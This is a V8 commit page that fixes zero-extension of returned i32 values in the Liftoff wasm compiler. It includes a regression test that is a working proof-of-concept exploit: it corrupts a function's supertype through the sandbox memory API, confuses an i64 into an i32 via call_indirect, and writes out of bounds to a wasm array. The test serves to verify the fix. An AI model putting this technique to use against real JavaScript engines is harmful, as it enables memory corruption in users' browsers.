Skip to content

Commit df38747

Browse files
backesV8 LUCI CQ
authored andcommitted
[liftoff] Ensure zero-extension of returned i32 values
The signature hash allows for i64/i32 collisions. To compensate for that we already did zero-extend all parameters in the Liftoff prologue. This does the same for returned values, which have the same problem. [email protected] Bug: 421403261 Change-Id: Iff76f6f8bdcb78fe399bdd81c9194794cb6e0d5c Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6611066 Commit-Queue: Jakob Kummerow <[email protected]> Auto-Submit: Clemens Backes <[email protected]> Reviewed-by: Jakob Kummerow <[email protected]> Cr-Commit-Position: refs/heads/main@{#100630}
1 parent 0a7bd69 commit df38747

File tree

3 files changed

+117
-0
lines changed

3 files changed

+117
-0
lines changed

src/wasm/baseline/liftoff-assembler.cc

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -884,6 +884,13 @@ void LiftoffAssembler::FinishCall(const ValueKindSig* sig,
884884
DCHECK(!loc.IsAnyRegister());
885885
reg_pair[pair_idx] = LiftoffRegister::from_external_code(
886886
rc, lowered_kind, loc.AsRegister());
887+
#if V8_TARGET_ARCH_64_BIT
888+
// See explanation in `LiftoffCompiler::ParameterProcessor`.
889+
if (return_kind == kI32) {
890+
DCHECK(!needs_gp_pair);
891+
clear_i32_upper_half(reg_pair[0].gp());
892+
}
893+
#endif
887894
} else {
888895
DCHECK(loc.IsCallerFrameSlot());
889896
reg_pair[pair_idx] = GetUnusedRegister(rc, pinned);

src/wasm/baseline/liftoff-compiler.cc

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9770,6 +9770,7 @@ class LiftoffCompiler {
97709770
if (v8_flags.experimental_wasm_skip_null_checks || !type.is_nullable()) {
97719771
return;
97729772
}
9773+
SCOPED_CODE_COMMENT("null check");
97739774
LiftoffRegister null = __ GetUnusedRegister(kGpReg, pinned);
97749775
LoadNullValueForCompare(null.gp(), pinned, type);
97759776
OolTrapLabel trap =
@@ -9782,6 +9783,7 @@ class LiftoffCompiler {
97829783
LiftoffRegister array, LiftoffRegister index,
97839784
LiftoffRegList pinned) {
97849785
if (V8_UNLIKELY(v8_flags.experimental_wasm_skip_bounds_checks)) return;
9786+
SCOPED_CODE_COMMENT("array bounds check");
97859787
LiftoffRegister length = __ GetUnusedRegister(kGpReg, pinned);
97869788
constexpr int kLengthOffset =
97879789
wasm::ObjectAccess::ToTagged(WasmArray::kLengthOffset);
Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
// Copyright 2025 the V8 project authors. All rights reserved.
2+
// Use of this source code is governed by a BSD-style license that can be
3+
// found in the LICENSE file.
4+
5+
// Flags: --expose-memory-corruption-api
6+
7+
d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
8+
9+
// Prepare corruption utilities.
10+
const kHeapObjectTag = 1;
11+
const kWasmGlobalObjectTaggedBufferOffset = 0x14;
12+
const kFixedArrayElement0Offset = 0x8;
13+
const kMapOffset = 0;
14+
const kFuncRefMapTypeInfoOffset = 0x14;
15+
const kTypeInfoSupertypesOffset = 0x10;
16+
let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
17+
function getPtr(obj) {
18+
return Sandbox.getAddressOf(obj) + kHeapObjectTag;
19+
}
20+
function getObj(ofs) {
21+
return Sandbox.getObjectAt(ofs);
22+
}
23+
function getField(obj, offset) {
24+
return memory.getUint32(obj + offset - kHeapObjectTag, true);
25+
}
26+
function setField(obj, offset, value) {
27+
memory.setUint32(obj + offset - kHeapObjectTag, value, true);
28+
}
29+
30+
let builder = new WasmModuleBuilder();
31+
32+
let $u8arr = builder.addArray(kWasmI8, true);
33+
let $sig_i_l = builder.addType(kSig_i_l, kNoSuperType, false);
34+
let $sig_l_l = builder.addType(kSig_l_l, kNoSuperType, false);
35+
let $sig_u8arr_i = builder.addType(makeSig([kWasmI32], [wasmRefType($u8arr)]));
36+
let $sig_i_u8arrl = builder.addType(makeSig([wasmRefType($u8arr), kWasmI64], [kWasmI32]));
37+
let $sig_v_u8arrli = builder.addType(makeSig([wasmRefType($u8arr), kWasmI64, kWasmI32], []));
38+
39+
builder.addFunction('fn_i_l', $sig_i_l).addBody([
40+
...wasmI32Const(0),
41+
]).exportFunc();
42+
let $fn_l_l = builder.addFunction('fn_l_l', $sig_l_l).addBody([
43+
kExprLocalGet, 0,
44+
]).exportFunc();
45+
let $t = builder.addTable(kWasmAnyFunc, 1, 1, [kExprRefFunc, ...wasmSignedLeb($fn_l_l.index)]);
46+
47+
builder.addFunction('alloc_u8arr', $sig_u8arr_i).addBody([
48+
kExprLocalGet, 0,
49+
kGCPrefix, kExprArrayNewDefault, $u8arr,
50+
]).exportFunc();
51+
52+
builder.addFunction(`u8arr_get`, $sig_i_u8arrl).addBody([
53+
kExprLocalGet, 0,
54+
kExprLocalGet, 1, // i64 index
55+
...wasmI32Const(0), // confuse i64 into i32 with a signature hash compatible function (i64->i64 vs i64->i32)
56+
kExprCallIndirect, ...wasmSignedLeb($sig_i_l), ...wasmSignedLeb($t.index),
57+
kGCPrefix, kExprArrayGetU, ...wasmSignedLeb($u8arr), // array indexing, uses full 64bit regs as is on x86-64 (+ kWasmI8 avoids i32 shl)
58+
]).exportFunc();
59+
60+
builder.addFunction(`u8arr_set`, $sig_v_u8arrli).addBody([
61+
kExprLocalGet, 0,
62+
63+
kExprLocalGet, 1,
64+
...wasmI32Const(0),
65+
kExprCallIndirect, ...wasmSignedLeb($sig_i_l), ...wasmSignedLeb($t.index),
66+
kExprLocalGet, 2,
67+
kGCPrefix, kExprArraySet, ...wasmSignedLeb($u8arr),
68+
]).exportFunc();
69+
70+
let instance = builder.instantiate();
71+
let {fn_i_l, fn_l_l, alloc_u8arr, u8arr_get, u8arr_set} = instance.exports;
72+
73+
function extract_wasmglobal_value(global) {
74+
let pbuf = getField(getPtr(global), kWasmGlobalObjectTaggedBufferOffset);
75+
let pval = getField(pbuf, kFixedArrayElement0Offset);
76+
return pval;
77+
}
78+
79+
function set_supertype(sub_fn, super_fn) {
80+
let g = new WebAssembly.Global({value: 'anyfunc', mutable: true});
81+
82+
g.value = sub_fn;
83+
let funcref_sub = extract_wasmglobal_value(g); // WASM_FUNC_REF_TYPE
84+
let map_sub = getField(funcref_sub, kMapOffset); // Map of WASM_FUNC_REF_TYPE
85+
let typeinfo_sub = getField(map_sub, kFuncRefMapTypeInfoOffset); // WASM_TYPE_INFO_TYPE
86+
87+
g.value = super_fn;
88+
let funcref_sup = extract_wasmglobal_value(g);
89+
let map_sup = getField(funcref_sup, kMapOffset);
90+
91+
// typeinfo_sub.supertypes[0] = map_sup
92+
setField(typeinfo_sub, kTypeInfoSupertypesOffset, map_sup);
93+
}
94+
95+
// set $sig_l_l <: $sig_i_l
96+
set_supertype(fn_l_l, fn_i_l);
97+
98+
// alloc u8arr of length 0x100000.
99+
let u8arr = alloc_u8arr(0x100000);
100+
101+
// oob write
102+
let MASK64 = (1n<<64n)-1n;
103+
function write8(ptr, val) {
104+
u8arr_set(u8arr, ptr & MASK64, val);
105+
}
106+
// Try to write at a huge offset; this should get truncated to 32-bit and
107+
// succeed.
108+
write8(0x424200012345n, 0x43);

0 commit comments

Comments
 (0)